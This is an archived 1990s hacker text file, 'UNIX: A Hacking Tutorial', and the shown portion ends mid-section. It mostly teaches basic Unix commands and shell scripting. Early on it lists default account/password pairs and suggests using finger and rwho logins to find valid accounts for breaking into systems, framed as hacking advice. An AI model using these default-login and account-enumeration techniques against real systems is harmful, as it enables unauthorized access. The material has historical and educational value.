home *** CD-ROM | disk | FTP | other *** search
/ Hacks & Cracks / Hacks_and_Cracks.iso / hackersguides-&-software / unix.txt < prev    next >
Text File  |  1996-04-14  |  86KB  |  2,136 lines

  1.  
  2.  
  3. +++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++
  4. +                        UNIX : A Hacking Tutorial                          +
  5. +                            By: Sir Hackalot                               +
  6. +++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++
  7.  
  8. ----------------------
  9. o Intent of this file:
  10. ----------------------
  11.  
  12.      This phile is geared as an UNIX tutorial at first, to let you get more
  13. familiar with the operating system.  UNIX is just an operating system, as
  14. is MS-DOS, AppleDOS, AmigaDOS, and others.  UNIX happens to be a multi-user-
  15. multi-tasking system, thus bringing a need for security not found on MSDOS,
  16. AppleDOS, etc.  This phile will hopefully teach the beginners who do not have
  17. a clue about how to use UNIX a good start, and may hopefully teach old pros
  18. something they didn't know before.  This file deals with UNIX SYSTEM V and
  19. its variants.  When I talk about unix, its usually about SYSTEM V (rel 3.2).
  20.  
  21. Where Can I be found?  I have no Idea.  The Boards today are going Up'n'Down
  22. so fast, 3 days after you read this file, if I put a BBS in it where you could
  23. reach me, it may be down!  Just look for me.
  24.  
  25. I can be reached on DarkWood Castle [If it goes back up], but that board
  26. is hard to get access on, but I decided to mention it anyway.
  27.  
  28. I *COULD* Have been reached on jolnet, but......
  29.  
  30. This file may have some bad spelling, etc, or discrepencies since it was
  31. spread out over a long time of writing, because of school, work, Girl friend,
  32. etc.  Please, no flames.  If you don't like this file, don't keep it.
  33.  
  34. This is distributed under PHAZE Inc.  Here are the members (and ex ones)
  35. The Dark Pawn
  36. The Data Wizard
  37. Sir Hackalot (Me)
  38. Taxi (ummm.. Busted)
  39. Lancia (Busted)
  40. The British Knight (Busted)
  41. The Living Pharoah (Busted)
  42.  
  43. _____________________________________________________________________________
  44.  
  45.  
  46. -------------
  47. o Dedication:
  48. -------------
  49.         This phile is dedicated to the members of LOD that were raided in
  50. Atlanta.  The members that got busted were very good hackers, especially
  51. The Prophet. Good luck to you guys, and I hope you show up again somewhere.
  52. _____________________________________________________________________________
  53.  
  54. ------------------------
  55. o A little History, etc:
  56. ------------------------
  57.  
  58.         UNIX, of course, was invented By AT&T in the 60's somewhere, to be
  59. "a programmer's operating system."  While that goal was probably not reached
  60. when they first invented UNIX, it seems that now, UNIX is a programmer's OS.
  61. UNIX, as I have said before, is a multi-tasking/multi-user OS.  It is also
  62. written in C, or at least large parts of it are, thus making it a portable
  63. operating system.  We know that MSDOS corresponds to IBM/clone machines,
  64. right?  Well, this is not the case with UNIX.  We do not associate it with
  65. any one computer since it has been adapted for many, and there are many
  66. UNIX variants [that is, UNIX modified by a vendor, or such].  Some AT&T
  67. computers run it, and also some run MSDOS [AT&T 6300].  The SUN workstations
  68. run SunOS, a UNIX variant, and some VAX computers run Ultrix, a VAX version
  69. of UNIX.  Remember, no matter what the name of the operating system is [BSD,
  70. UNIX,SunOS,Ultrix,Xenix, etc.], they still have a lot in common, such as the
  71. commands the operating system uses.  Some variants may have features others
  72. do not, but they are basically similar in that they have a lot of the same
  73. commands/datafiles.  When someone tries to tell you that UNIX goes along with
  74. a certain type of computer, they may be right, but remember, some computers
  75. have more than one Operating system.  For instance, one person may tell you
  76. that UNIX is to a VAX as MSDOS is to IBM/clones.  That is untrue, and the
  77. only reason I stated that, was because I have seen many messages with info
  78. /comparisons in it like that, which confuse users when they see a VAX running
  79. VMS.
  80. ____________________________________________________________________________
  81.  
  82.  
  83. -------------------------------
  84. o Identifying a Unix/Logging in
  85. -------------------------------
  86.  
  87.         From now on, I will be referring to all the UNIX variants/etc as
  88. UNIX, so when I say something about UNIX, it generally means all the variants
  89. (Unix System V variants that is: BSD, SunOS, Ultrix, Xenix, etc.), unless
  90. I state a variant in particular.
  91.  
  92.         Okay.  Now its time for me to tell you how a unix USUALLY greets you.
  93. First, when you call up a UNIX, or connect to one however you do, you will
  94. usually get this prompt:
  95.  
  96. login:
  97.  
  98. Ok.  Thats all fine and dandy.  That means that this is PROBABLY a Unix,
  99. although there are BBS's that can mimic the login procedure of an OS
  100. (Operating System), thus making some people believe its a Unix. [Hah!].
  101. Some Unixes will tell you what they are or give you a message before a
  102. login:  prompt, as such:
  103.  
  104. Welcome to SHUnix.  Please log in.
  105.  
  106. login:
  107.  
  108.         Or something like that.  Public access Unixes [like Public BBSs] will
  109. tell you how to logon if you are a new users.  Unfortunatly, this phile is
  110. not about public access Unixes, but I will talk about them briefly later, as
  111. a UUCP/UseNet/Bitnet address for mail.
  112.         OK.  You've gotten to the login prompt!  Now, what you need to do
  113. here is enter in a valid account.  An Account usually consists of 8 characters
  114. or less.  After you enter in an account, you will probably get a password
  115. prompt of some sort.  The prompts may vary, as the source code to the login
  116. program is usually supplied with UNIX, or is readily available for free.
  117. Well, The easiest thing I can say to do to login is basically this:
  118. Get an account, or try the defaults.  The defaults are ones that came with
  119. the operating system, in standard form.  The list of some of the Defaults
  120. are as follows:
  121.  
  122. ACCOUNT                         PASSWORD
  123. -------                         --------
  124. root                            root      - Rarely open to hackers
  125. sys                             sys / system / bin
  126. bin                             sys / bin
  127. mountfsys                       mountfsys
  128. adm                             adm
  129. uucp                            uucp
  130. nuucp                           anon
  131. anon                            anon
  132. user                            user
  133. games                           games
  134. install                         install
  135. reboot                            * See Below
  136. demo                            demo
  137. umountfsys                      umountfsys
  138. sync                            sync
  139. admin                           admin
  140. guest                           guest
  141. daemon                          daemon
  142.  
  143. The accounts root, mountfsys, umountfsys, install, and sometimes sync are
  144. root level accounts, meaning they have sysop power, or total power.  Other
  145. logins are just "user level" logins meaning they only have power over what
  146. files/processes they own.  I'll get into that later, in the file permissions
  147. section.  The REBOOT login is what as known as a command login, which just
  148. simply doesn't let you into the operating system, but executes a program
  149. assigned to it.  It usually does just what it says, reboot the system.  It
  150. may not be standard on all UNIX systems, but I have seen it on  UNISYS unixes
  151. and also HP/UX systems [Hewlett Packard Unixes].  So far, these accounts have
  152. not been passworded [reboot], which is real stupid, if you ask me.
  153.  
  154. COMMAND LOGINS:
  155. ---------------
  156.  
  157. There are "command logins", which, like reboot, execute a command then log
  158. you off instead of letting you use the command interpreter. BSD is notorious
  159. for having these, and concequently, so does MIT's computers. Here are some:
  160.  
  161. rwho - show who is online
  162. finger - same
  163. who - same
  164.  
  165. These are the most useful, since they will give the account names that are
  166. online, thus showing you several accounts that actually exist.
  167.  
  168.  
  169. Errors:
  170. -------
  171.  
  172. When you get an invalid Account name / invalid password, or both, you will
  173. get some kind of error.  Usually it is the "login incorrect" message.  When
  174. the computer tells you that, you have done something wrong by either enterring
  175. an invalid account name, or a valid account name, but invalid password.  It
  176. does not tell you which mistake you made, for obvious reasons.  Also,
  177. when you login incorrectly, the error log on the system gets updated, letting
  178. the sysops(s) know something is amiss.
  179.  
  180.         Another error is "Cannot change to home directory" or "Cannot Change
  181. Directory."  This means that no "home directory" which is essentially the
  182. 'root' directory for an account, which is the directory you start off in.
  183. On DOS, you start in A:\ or C:\ or whatever, but in UNIX you start in
  184. /homedirectory.  [Note: The / is used in directories on UNIX, not a \ ].
  185. Most systems will log you off after this, but some tell you that they will
  186. put you in the root directory [ '/'].
  187.  
  188.         Another error is "No Shell".  This means that no "shell" was defined
  189. for that particular account.  The "shell" will be explained later.  Some
  190. systems will log you off after this message.  Others will tell you that they
  191. will use the regular shell, by saying "Using the bourne shell", or "Using sh"
  192.  
  193. -----------------------------
  194. Accounts In General        :
  195. -----------------------------
  196.  
  197.         This section is to hopefully describe to you the user structure
  198. in the UNIX environment.
  199.         Ok, think of UNIX having two levels of security: absolute power,
  200. or just a regular user.  The ones that have absolute power are those users
  201. at the root level.  Ok, now is the time to think in numbers.  Unix associates
  202. numbers with account names.  each account will have a number.  Some will have
  203. the same number.  That number is the UID [user-id] of the account.  the root
  204. user id is 0.  Any account that has a user id of 0 will have root access.
  205. Unix does not deal with account names (logins) but rather the number
  206. associated with them.  for instance, If my user-id is 50, and someone else's
  207. is 50, with both have absolute power of each other, but no-one else.
  208. _____________________________________________________________________________
  209.  
  210. ---------------
  211. Shells        :
  212. ---------------
  213.  
  214.         A shell is an executable program which loads and runs when a user
  215. logs on, and is in the foreground.  This "shell" can be any executable prog-
  216. ram, and it is defined in the "passwd" file which is the userfile.  Each
  217. login can have a unique "shell".  Ok.  Now the shell that we usually will work
  218. with is a command interpreter.  A command interpreter is simply something
  219. like MSDOS's COMMAND.COM, which processes commands, and sends them to the
  220. kernel [operating system].  A shell can be anything, as I said before,
  221. but the one you want to have is a command interpreter.  Here are the
  222. usual shells you will find:
  223.  
  224. sh - This is the bourne shell. It is your basic Unix "COMMAND.COM".  It has
  225.      a "script" language, as do most of the command interpreters on Unix sys-
  226.      tems.
  227.  
  228. csh - This is the "C" shell, which will allow you to enter "C" like commands.
  229. ksh - this is the korn shell.  Just another command interpreter.
  230. tcsh - this is one, which is used at MIT I believe.  Allows command editing.
  231. vsh - visual shell.  It is a menu driven deal.  Sorta like.. Windows for DOS
  232. rsh - restricted shell OR remote shell.  Both Explained later.
  233.         There are many others, including "homemade " shells, which are
  234. programs written by the owner of a unix, or for a specific unix, and they
  235. are not standard.  Remember, the shell is just the program you get to use
  236. and when it is done executing, you get logged off.  A good example of a
  237. homemade shell is on Eskimo North, a public access Unix.  The shell
  238. is called "Esh", and it is just something like a one-key-press BBS,
  239. but hey, its still a shell.  The Number to eskimo north is 206-387-3637.
  240. [206-For-Ever]. If you call there, send Glitch Lots of mail.
  241.         Several companies use Word Processors, databases, and other things
  242. as a user shell, to prevent abuse, and make life easier for unskilled computer
  243. operators.  Several Medical Hospitals use this kind of shell in Georgia,
  244. and fortunatly, these second rate programs leave major holes in Unix.
  245. Also, a BBS can be run as a shell.  Check out Jolnet [312]-301-2100, they
  246. give you a choice between a command interpreter, or a BBS as a shell.
  247. WHen you have a command interpreter, the prompt is usually a:
  248.  $
  249. when you are a root user the prompt is usually a:
  250.  #
  251. The variable, PS1, can be set to hold a prompt.
  252. For instance, if PS1 is "HI:", your prompt will be:
  253.  HI:
  254.  
  255. _____________________________________________________________________________
  256.  
  257. ------------------------
  258. SPecial Characters, ETc:
  259. ------------------------
  260.  
  261. Control-D : End of file.  When using mail or a text editor, this will end
  262. the message or text file.  If you are in the shell and hit control-d you get
  263. logged off.
  264.  
  265. Control-J: On some systems, this is like the enter key.
  266. @ : Is sometimes a "null"
  267. ? : This is a wildcard.  This can represent a letter. If you specified
  268.    something at the command line like "b?b" Unix would look for bob,bib,bub,
  269.    and every other letter/number between a-z, 0-9.
  270. * : this can represent any number of characters.  If you specified a "hi*"
  271.     it would use "hit", him, hiiii, hiya, and ANYTHING that starts with
  272.     hi.  "H*l" could by hill, hull, hl, and anything that starts with an
  273.     H and ends with an L.
  274.  
  275. [] - The specifies a range.  if i did b[o,u,i]b unix would think: bib,bub,bob
  276.      if i did: b[a-d]b unix would think: bab,bbb,bcb,bdb.  Get the idea? The
  277.      [], ?, and * are usually used with copy, deleting files, and directory
  278.      listings.
  279.  
  280. EVERYTHING in Unix is CASE sensitive.  This means "Hill" and "hill" are not
  281. the same thing.  This allows for many files to be able to be stored, since
  282. "Hill" "hill" "hIll" "hiLl", etc. can be different files.  So, when using
  283. the [] stuff, you have to specify capital letters if any files you are dealing
  284. with has capital letters.  Most everything is lower case though.
  285.  
  286. ----------------
  287. Commands to use:
  288. ----------------
  289.  
  290. Now, I will rundown some of the useful commands of Unix.  I will act
  291. as if I were typing in the actual command from a prompt.
  292.  
  293. ls - this is to get a directory.  With no arguments, it will just print out
  294.      file names in either one column or multi-column output, depending on the
  295.      ls program you have access to.
  296.  
  297.         example:
  298.         $ ls
  299.         hithere
  300.         runme
  301.         note.text
  302.         src
  303.         $
  304.         the -l switch will give you extended info on the files.
  305.         $ ls -l
  306.         rwx--x--x sirhack     sirh    10990 runme
  307.         and so on....
  308.  
  309. the "rwx--x--x" is the file permission. [Explained Later]
  310. the "sirhack    sirh" is the owner of the file/group the file is in.
  311. sirhack = owner, sirh = user-group the file is in [explained later]
  312. the 10990 is the size of the file in bytes.
  313. "runme" is the file name.
  314. The format varies, but you should have the general idea.
  315.  
  316. cat - this types out a file onto the screen.  should be used on text files.
  317.       only use it with binary files to make a user mad [explained later]
  318.       ex:
  319.       $ cat note.txt
  320.       This is a sample text file!
  321.       $
  322.  
  323. cd - change directory .  You do it like this: cd /dir/dir1/dir2/dirn.
  324.      the dir1/etc.... describes the directory name.  Say I want to get
  325.      to the root directory.
  326.      ex:
  327.      $ cd /
  328.      *ok, I'm there.*
  329.      $ ls
  330.      bin
  331.      sys
  332.      etc
  333.      temp
  334.      work
  335.      usr
  336.  all of the above are directories, lets say.
  337.      $ cd /usr
  338.      $ ls
  339.      sirhack
  340.      datawiz
  341.      prophet
  342.      src
  343.      violence
  344.      par
  345.      phiber
  346.      scythian
  347.      $ cd /usr/sirhack
  348.      $ ls
  349.      hithere
  350.      runme
  351.      note.text
  352.      src
  353.      $
  354. ok, now, you do not have to enter the full dir name.  if you are in
  355. a directory, and want to get into one that is right there [say "src"], you
  356. can type "cd src" [no "/"].  Instead of typing "cd /usr/sirhack/src" from the
  357. sirhack dir, you can type "cd src"
  358.  
  359. cp - this copies a file. syntax for it is "cp fromfile tofile"
  360.      $ cp runme runme2
  361.      $ ls
  362.      hithere
  363.      runme
  364.      note.text
  365.      src
  366.      runme2
  367. Full pathnames can be included, as to copy it to another directory.
  368.      $ cp runme /usr/datwiz/runme
  369.  
  370. mv - this renames a file. syntax "mv oldname newname"
  371.      $ mv runme2 runit
  372.      $ ls
  373.      hithere
  374.      runme
  375.      note.text
  376.      src
  377.      runit
  378.     files can be renamed into other directories.
  379.      $ mv runit /usr/datwiz/run
  380.      $ ls
  381.      hithere
  382.      runme
  383.      note.text
  384.      src
  385.      $ ls /usr/datwiz
  386.      runme
  387.      run
  388.  
  389. pwd - gives current directory
  390.      $ pwd
  391.      /usr/sirhack
  392.      $ cd src
  393.      $ pwd
  394.      /usr/sirhack/src
  395.      $ cd ..
  396.      $ pwd
  397.      /usr/sirhack
  398.      [ the ".." means use the name one directory back. ]
  399.      $ cd ../datwiz
  400.        [translates to cd /usr/datwiz]
  401.      $ pwd
  402.      /usr/datwiz
  403.      $ cd $home
  404.      [goto home dir]
  405.      $ pwd
  406.      /usr/sirhack
  407.  
  408. rm - delete a file.  syntax "rm filename" or "rm -r directory name"
  409.      $ rm note.text
  410.      $ ls
  411.      hithere
  412.      runme
  413.      src
  414.      $
  415.  
  416. write - chat with another user.  Well, "write" to another user.
  417. syntax: "write username"
  418.     $ write scythian
  419.     scythian has been notified
  420.     Hey Scy! What up??
  421.     Message from scythian on tty001 at 17:32
  422.     hey!
  423.     me: So, hows life?
  424.     scy: ok, I guess.
  425.     me: gotta go finish this text file.
  426.     scy: ok
  427.     me: control-D [to exit program]
  428.     $
  429.  
  430. who [w,who,whodo] - print who is online
  431.     $ who
  432.     login       term   logontime
  433.     scythian +  tty001 17:20
  434.     phiberO  +  tty002 15:50
  435.     sirhack  +  tty003 17:21
  436.     datawiz  -  tty004 11:20
  437.     glitch   -  tty666 66:60
  438.     $
  439.     the "who" commands may vary in the information given.  a "+" means
  440.     you can "write" to their terminal, a "-" means you cannot.
  441.  
  442. man - show a manual page entry.  syntax "man command name"  This is a help
  443.       program.  If you wanted to know how to use... "who" you'd type
  444.     $ man who
  445.     WHO(1)   xxx......
  446.       and it would tell you.
  447.  
  448. stty - set your terminal characteristics.  You WILL have to do "man stty"
  449.      since each stty is different, it seems like.
  450.      an example would be:
  451.     $ stty -parenb
  452.       to make the data params N,8,1.  A lot of Unixes operate at
  453.       e,7,1 by default.
  454.  
  455. sz,rz - send and recieve via zmodem
  456. rx,sx - send / recieve via xmodem
  457. rb,sb - send via batch ymodem.   These 6 programs may or may not be on a unix.
  458. umodem - send/recieve via umodem.
  459.       $ sz filename
  460.       ready to send...
  461.       $ rz filename
  462.       please send your file....
  463.       ...etc..
  464.  
  465. ed - text editor.  Usage "ed filename"  to create a file that doesn't
  466.      exist, just enter in "ed filename"
  467.      some versions of ed will give you a prompt, such as "*" others will not
  468.      $ ed newtext
  469.      0
  470.      * a
  471.      This is line 1
  472.      This is line 2
  473.      [control-z]
  474.      * 1 [to see line one]
  475.      This is line 1
  476.      * a [keep adding]
  477.      This is line 3
  478.      [control-z]
  479.      *0a [add after line 0]
  480.      This is THE first line
  481.      [control-z]
  482.      1,4l
  483.      This is THE first line
  484.      This is line 1
  485.      This is line 2
  486.      This is line 3
  487.      * w
  488.      71
  489.      * q
  490.      $
  491.    The 71 is number of bytes written.
  492.    a = append
  493.    l = list
  494.    # = print line number
  495.    w - write
  496.    l fname = load fname
  497.    s fname = save to fname
  498.    w = write to current file
  499.    q = quit
  500. mesg - turn write permissions on or off to your terminal (allow chat)
  501.      format "mesg y" or "mesg n"
  502. cc - the C compiler.  don't worry about this one right now.
  503. chmod - change mode of a file.  Change the access in other words.
  504.         syntax: "chmod mode filename"
  505.         $ chmod a+r newtext
  506.       Now everyone can read newtext.
  507.       a = all
  508.       r = read.  This will be explained further in the File System section.
  509.  
  510. chown - change the owner of a file.
  511.        syntax: "chown owner filename"
  512.        $ chown scythian newtext
  513.        $
  514. chgrp - change the group [explained later] of a file.
  515.        syntax: "chgrp group file"
  516.        $ chgrp root runme
  517.        $
  518. finger - print out basic info on an account.  Format: finger username
  519. grep - search for patterns in a file.  syntax: "grep pattern file"
  520.        $ grep 1 newtext
  521.        This is Line 1
  522.        $ grep THE newtext
  523.        This is THE first line
  524.        $ grep "THE line 1" newtext
  525.        $
  526.  
  527. mail - This is a very useful utility.  Obviously, you already know what it
  528.         is by its name.  There are several MAIL utilities, such as ELM, MUSH
  529.         and MSH, but the basic "mail" program is called "mail".  The usage
  530.         is:
  531.         "mail username@address" or
  532.         "mail username"
  533.         or
  534.         "mail"
  535.         or "mail addr1!addr2!addr3!user"
  536.  
  537.         "mail username@address" - This is used to send mail to someone on
  538. another system, which is usually another UNIX, but some DOS machines and some
  539. VAX machines can recieve Unix Mail.  When you use "mail user@address" the
  540. system you are on MUST have a "smart mailer" [known as smail], and must
  541. have what we call system maps.  The smart mailer will find the "adress" part
  542. of the command and expand it into the full pathname usually.  I could look
  543. like this: mail phiber@optik
  544.            then look like this to the computer:
  545.  
  546.            mail sys1!unisys!pacbell!sbell!sc1!att.com!sirhacksys!optik!phiber
  547.  
  548. Do not worry about it, I was merely explaining the principal of the thing.
  549. Now, if there is no smart mailer online, you'll have to know the FULL path
  550. name of the person you wish to mail to. For Instance, I want to mail to
  551. .. phiber.  I'd do this if there were no smart mailer:
  552.  
  553.   $ mail sys!unisys!pacbell!sbell!sc1!att.com!sirhacksys!optik!phiber
  554.  
  555.     Hey Guy.  Whats up?  Well, gotta go.  Nice long message huh?
  556.     [control-D]
  557.   $
  558. Then, when he got it, there would be about 20 lines of information, with
  559. like a post mark from every system my message went thru, and the "from" line
  560. would look like so:
  561.  
  562. From optik!sirhacksys!att.com!sc1!sbell!pacbell!unisys!sys!sirhack <Sir Hack>
  563.  
  564.         Now, for local mailing, just type in "mail username" where username
  565. is the login you want to send mail to.  Then type in your message.  Then
  566. end it with a control-D.
  567.  
  568.         To read YOUR mail, just type in mail.  IE:
  569.  
  570.         $ mail
  571.  
  572.         From scythian ............
  573.         To sirhack ............
  574.         Subject: Well....
  575.  
  576.         Arghhh!
  577.  
  578.         ?
  579.  The dots represent omitted crap.  Each Mail program makes its own headings.
  580.  That ? is a prompt.  At this prompt I can type:
  581.  
  582.         d - delete
  583.         f username - forward to username
  584.         w fname - write message to a file named fname
  585.         s fname - save message with header into file
  586.         q - quit / update mail
  587.         x - quit, but don't change a thing
  588.         m username - mail to username
  589.         r - reply
  590.         [enter] - read next message
  591.         + - go forward one message
  592.         - : go back one
  593.         h - print out message headers that are in your mailbox.
  594.  
  595. There are others, to see them, you'd usually hit '?'.
  596.  
  597. --------
  598.  
  599. If you send mail to someone not on your system, you will have to wait longer
  600. for a reply, since it is just as a letter.  A "postman" has to pick it up.
  601. The system might call out, and use UUCP to transfer mail.  Usually, uucp
  602. accounts are no good to one, unless you have uucp available to intercept mail.
  603.  
  604. ps - process.  This command allows you to see what you are actually doing
  605. in memory.  Everytime you run a program, it gets assigned a Process Id number
  606. (PID), for accounting purposes, and so it can be tracked in memory, as
  607. well as shut down by you, or root.  usually, the first thing in a process
  608. list given by "ps" is your shell name.  Say I was logged in under sirhack,
  609. using the shell "csh" and running "watch scythian".  The watch program would
  610. go into the background, meaning I'd still be able to do things while it was
  611. running:
  612.   $ ps
  613.   PID  TTY  NAME
  614.   122  001  ksh
  615.   123  001  watch
  616.   $
  617.   That is a shortened PS.  That is the default listing [a brief one].
  618.   The TTY column represents the "tty" [i/o device] that the process is being
  619.   run from.  This is only useful really if you are using layers (don't worry)
  620.   or more than one person is logged in with the same account name.  Now,
  621.   "ps -f" would give a full process listing on yourself, so instead of
  622.   seeing just plain ole "watch" you'd most likely see "watch scythian"
  623.  
  624. kill - kill a process.  This is used to terminate a program in memory obvio-
  625. ously.  You can only kill processes you own [ones you started], unless you
  626. are root, or your EUID is the same as the process you want to kill.
  627. (Will explain euid later).  If you kill the shell process, you are logged
  628. off.  By the same token, if you kill someone else's shell process, they
  629. are logged off.  So, if I said "kill 122" I would be logged off.  However,
  630. kill only sends a signal to UNIX telling it to kill off a process.  If
  631. you just use the syntax "kill pid" then UNIX kills the process WHEN it feels
  632. like it, which may be never.  So, you can specify urgency! Try "kill -num pid"
  633. Kill -9 pid  is a definite kill almost instantly.  So if I did this:
  634.  $ kill 122
  635.  $ kill 123
  636.  $ ps
  637.  PID   TTY   NAME
  638.  122   001   ksh
  639.  123   001   watch
  640.  $ kill -9 123
  641.  [123]: killed
  642.  $ kill -9 122
  643.  garbage
  644.  NO CARRIER
  645.  
  646. Also, you can do "kill -1 0" to kill your shell process to log yourself off.
  647. This is useful in scripts (explained later).
  648.  
  649. -------------------
  650. Shell Programmin'
  651. -------------------
  652.  
  653.         Shell Programming is basically making a "script" file for the
  654. standard shell, being sh, ksh, csh, or something on those lines.  Its
  655. like an MSDOS batch file, but more complex, and more Flexible.
  656. This can be useful in one aspect of hacking.
  657.  
  658.  
  659. First, lets get into variables.  Variables obviously can be assigned
  660. values.  These values can be string values, or numberic values.
  661.  
  662. number=1
  663.  
  664.         That would assign 1 to the variable named "number".
  665.  
  666. string=Hi There
  667. or
  668. string="Hi There"
  669.  
  670.         Both would assign "Hi there" to a variable.
  671.  
  672.         Using a variable is different though.  When you wish to use a variable
  673.         you must procede it with a dollar ($) sign.  These variables can
  674.         be used as arguments in programs.  When I said that scripts are
  675.         like batch files, I meant it.  You can enter in any name of a program
  676.         in a script file, and it will execute it. Here is a sample script.
  677.  
  678. counter=1
  679. arg1="-uf"
  680. arg2="scythian"
  681.  
  682. ps $arg1 $arg2
  683.  
  684. echo $counter
  685.  
  686.         That script would translate to "ps -uf scythian" then would print
  687.         "1" after that was finished.  ECHO prints something on the screen
  688.         whether it be numeric, or a string constant.
  689.  
  690. Other Commands / Examples:
  691.  
  692. read - reads someting into a variable.  format : read variable .  No dollar
  693.         sign is needed here!  If I wwanted to get someone's name, I could
  694.         put:
  695.  
  696. echo "What is your name?"
  697. read hisname
  698. echo Hello $hisname
  699.  
  700.         What is your name?
  701.         Sir Hackalot
  702.         Hello Sir Hackalot
  703.  
  704.         Remember, read can read numeric values also.
  705.  
  706. trap - This can watch for someone to use the interrupt character. (Ctrl-c)
  707.        format: trap "command ; command ; command ; etc.."
  708. Example:
  709.         trap "echo 'Noway!! You are not getting rid o me that easy' ; echo
  710.         'You gotta see this through!'"
  711.  
  712.         Now, if I hit control-c during the script after this statement was
  713.         executed, I'd get:
  714.         Noway!! You are not getting rid of me that easy
  715.         You gotta see this through!
  716.  
  717. exit : format :exit [num]  This exists the shell [quits] with return
  718.         code of num.
  719.  
  720. -----
  721. CASE
  722. -----
  723.  
  724.         Case execution is like a menu choice deal.  The format of the command
  725.         or structure is :
  726.         case variable in
  727.         1) command;
  728.            command;;
  729.         2) command;
  730.            command;
  731.            command;;
  732.         *) command;;
  733.          esac
  734.         Each part can have any number of commands. The last command however
  735.         must have a ";;".  Take this menu:
  736.  
  737.         echo "Please Choose:"
  738.         echo "(D)irectory (L)ogoff (S)hell"
  739.         read choice
  740.         case $choice in
  741.  
  742.         D) echo "Doing Directory...";
  743.            ls -al ;;
  744.         L) echo Bye;
  745.            kill -1 0;;
  746.         S) exit;;
  747.         *) Echo "Error! Not a command";;
  748.         esac
  749.  
  750.         The esac marks the end of a case function.  It must be after the
  751.         LAST command.
  752.  
  753. Loops
  754. -----
  755.  
  756.         Ok, loops.  There are two loop functins.  the for loops, and the
  757.         repeat.
  758.  
  759.         repeat looks like this: repeat something somethin1 somethin2
  760.         this would repeat a section of your script for each "something".
  761.         say i did this:
  762.         repeat scythian sirhack prophet
  763.  
  764.         I may see "scythian" then sirhack then prophet on my screen.
  765.  
  766.         The for loop is defined as "for variable in something
  767.                                     do
  768.                                     ..
  769.                                     ..
  770.                                     done"
  771.  
  772.         an example:
  773.         for counter in 1 2 3
  774.         do
  775.         echo $counter
  776.         done
  777.  
  778.         That would print out 1 then 2 then 3.
  779.  
  780. Using TEST
  781. ----------
  782. The format:  Test variable option variable
  783.  
  784. The optios are:
  785. -eq    =
  786. -ne    <> (not equal)
  787. -gt    >
  788. -lt    <
  789. -ge    >=
  790. -le    <=
  791.  
  792. for strings its: = for equal  != for not equal.
  793.  
  794. If the condition is true, a zero is returned.  Watch:
  795.  
  796.         test 3 -eq 3
  797.  
  798. that would be test 3 = 3, and 0 would be returned.
  799.  
  800. EXPR
  801. ----
  802.  
  803. This is for numeric functions.  You cannot simply type in
  804. echo 4 + 5
  805. and get an answer most of the time.  you must say:
  806. expr variable [or number] operator variable2 [or number]
  807. the operators are:
  808.  
  809. + add
  810. - subtract
  811. * multiply
  812. / divide
  813. ^ - power (on some systems)
  814.  
  815. example :   expr 4 + 5
  816. var = expr 4 + 5
  817. var would hold 9.
  818.  
  819.         On some systems, expr sometimes prints out a formula.  I mean,
  820.         22+12 is not the same as 22 + 12.  If you said expr 22+12 you
  821.         would see:
  822.         22+12
  823.         If you did expr 22 + 12 you'd see:
  824.         34
  825.  
  826.  
  827. SYSTEM VARIABLES
  828. ----------------
  829.  
  830.         These are variables used by the shell, and are usually set in the
  831. system wide .profile [explained later].
  832.  
  833. HOME - location of your home directory.
  834. PS1  - The prompt you are given.  usually $ .  On BSD its usually &
  835. PATH - This is the search path for programs.  When you type in a program
  836. to be run, it is not in memory; it must be loaded off disk.  Most commands
  837. are not in Memory like MSDOS.  If a program is on the search path, it may
  838. be executed no matter where you are.  If not, you must be in the directory
  839. where the program is.  A path is a set of directories basically, seperated by
  840. ":"'s.  Here is a typical search path:
  841.  
  842.         :/bin:/etc:/usr/lbin:$HOME:
  843.  
  844. When you tried to execute a program, Unix would look for it in /bin,
  845. /etc, /usr/lbin, and your home directory, and if its not found, an error is
  846. spewed out.  It searches directories in ORDER of the path.  SO if you had a
  847. program named "sh" in your home directory, and typed in "sh", EVEN if
  848. you were in your home dir, it would execute the one in /bin. So, you
  849. must set your paths wisely.  Public access Unixes do this for you, but systems
  850. you may encounter may have no path set.
  851.  
  852. TERM - This is your terminal type.  UNIX has a library of functions called
  853. "CURSES" which can take advantage of any terminal, provided the escape
  854. codes are found.  You must have your term set to something if you run
  855. screen oriented programs.  The escape codes/names of terms are found
  856. in a file called TERMCAP.  Don't worry about that.  just set your term
  857. to ansi or vt100.  CURSES will let you know if it cannot manipulate your
  858. terminal emulation.
  859.  
  860.  
  861. -------------------
  862. The C compiler
  863. -------------------
  864.  
  865.         This Will be BRIEF.  Why?  Becuase if you want to learn C, go
  866.         buy a book.  I don't have time to write another text file on
  867.         C, for it would be huge.  Basically, most executables are programmed
  868.         in C.  Source code files on unix are found as filename.c  .
  869.         To compile one, type in "cc filename.c".  Not all C programs
  870.         will compile, since they may depend on other files not there, or
  871.         are just modules.  If you see a think called "makefile" you can
  872.         usually type in just "make" at the command prompt, and something
  873.         will be compiled, or be attempted to compile.  When using make or
  874.         CC, it would be wise to use the background operand since
  875.         compiling sometimes takes for ever.
  876.         IE:
  877.         $ cc login.c&
  878.         [1234]
  879.         $
  880.         (The 1234 was the process # it got identified as).
  881.  
  882.  
  883. _____________________________________________________________________________
  884.  
  885. ---------------
  886. The FILE SYSTEM
  887. ---------------
  888.  
  889.         This is an instrumental part of UNIX.  If you do not understand this
  890. section, you'll never get the hang of hacking Unix, since a lot of Pranks
  891. you can play, and things you can do to "raise your access" depend on it.
  892.  
  893. First, Let's start out by talking about the directory structure.  It is
  894. basically a Hiearchy file system, meaning, it starts out at a root directory
  895. and expands, just as MSDOS, and possibly AmigaDos.
  896.  
  897. Here is a Directory Tree of sorts:  (d) means directory
  898.  
  899.                         /  (root dir)
  900.                         |
  901.                         |--------------------|
  902.                       bin (d)               usr (d)
  903.                                         ----^--------------------
  904.                                         |        |              |
  905.                                     sirhack(d)  scythian (d)    prophet (d)
  906.                                         |
  907.                                         src (d)
  908.  
  909. Now, this particular system contains the following directories:
  910. /
  911. /bin
  912. /usr
  913. /usr/sirhack
  914. /usr/sirhack/src
  915. /usr/scythian
  916. /usr/prophet
  917.  
  918. Hopefully, you understood that part, and you should.  Everything spawns from
  919. the root directory.
  920.  
  921. o File Permissions!
  922. ------------------
  923.  
  924. Now, this is really the biggie.  File Permissions.  It is not that hard to
  925. understand file permissions, but I will explain them deeply anyway.
  926.  
  927. OK, now you must think of user groups as well as user names.  Everyone
  928. belongs to a group.  at the $ prompt, you could type in 'id' to see what
